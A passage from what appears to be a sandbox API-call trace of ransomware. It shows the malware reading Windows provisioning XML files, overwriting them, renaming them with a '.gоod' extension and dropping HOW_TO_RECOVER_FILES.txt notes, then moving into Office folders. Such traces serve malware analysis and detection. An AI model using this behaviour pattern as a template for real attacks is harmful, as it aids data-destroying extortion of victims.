lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x491bd9ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0129.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0129.014] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.gоod")) returned 1 [0129.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0129.015] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov", lpFilePart=0x0) returned 0x51 [0129.015] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0129.016] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.016] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0129.016] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0129.016] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.016] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0129.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0129.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0129.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0129.017] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov", lpFilePart=0x0) returned 0x51 [0129.017] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.017] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.017] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0129.017] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0129.018] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0129.018] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0129.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0129.018] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0129.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0129.018] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x380c650 | out: lpFileInformation=0x380c650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb)) returned 1 [0129.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0129.019] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0129.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0129.019] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.019] GetFileType (hFile=0x6e0) returned 0x1 [0129.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0129.019] GetFileType (hFile=0x6e0) returned 0x1 [0129.019] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0xfb [0129.019] ReadFile (in: hFile=0x6e0, lpBuffer=0x380ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x380ca48*, lpNumberOfBytesRead=0x1fced808*=0xfb, lpOverlapped=0x0) returned 1 [0129.021] CloseHandle (hObject=0x6e0) returned 1 [0129.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0129.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0129.815] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0129.816] GetFileType (hFile=0x650) returned 0x1 [0129.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0129.816] GetFileType (hFile=0x650) returned 0x1 [0129.816] WriteFile (in: hFile=0x650, lpBuffer=0x35355b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1fced718, lpOverlapped=0x0 | out: lpBuffer=0x35355b8*, lpNumberOfBytesWritten=0x1fced718*=0x100, lpOverlapped=0x0) returned 1 [0129.817] CloseHandle (hObject=0x650) returned 1 [0129.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0129.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0129.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0129.817] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4996693d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0129.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0129.817] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.gоod")) returned 1 [0129.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0129.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0129.818] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef7d10, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef7d10, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0129.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.819] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0129.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0129.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0129.819] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0129.819] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.820] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.820] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef7d10, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef7d10, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0129.820] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef7d10, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef7d10, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0129.820] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0129.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0129.820] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0129.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0129.820] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0129.821] GetFileType (hFile=0x650) returned 0x1 [0129.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0129.821] GetFileType (hFile=0x650) returned 0x1 [0129.821] WriteFile (in: hFile=0x650, lpBuffer=0x3547408*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x3547408*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0129.823] CloseHandle (hObject=0x650) returned 1 [0129.823] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0129.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0129.823] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0129.824] GetFileType (hFile=0x650) returned 0x1 [0129.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0129.824] GetFileType (hFile=0x650) returned 0x1 [0129.824] WriteFile (in: hFile=0x650, lpBuffer=0x354ad30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x354ad30*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0129.825] CloseHandle (hObject=0x650) returned 1 [0129.825] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0129.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0129.825] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0129.827] GetFileType (hFile=0x650) returned 0x1 [0129.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0129.827] GetFileType (hFile=0x650) returned 0x1 [0129.828] WriteFile (in: hFile=0x650, lpBuffer=0x354e618*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x354e618*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0129.828] CloseHandle (hObject=0x650) returned 1 [0129.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0129.829] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod", lpFilePart=0x0) returned 0x2b [0129.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0129.836] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, 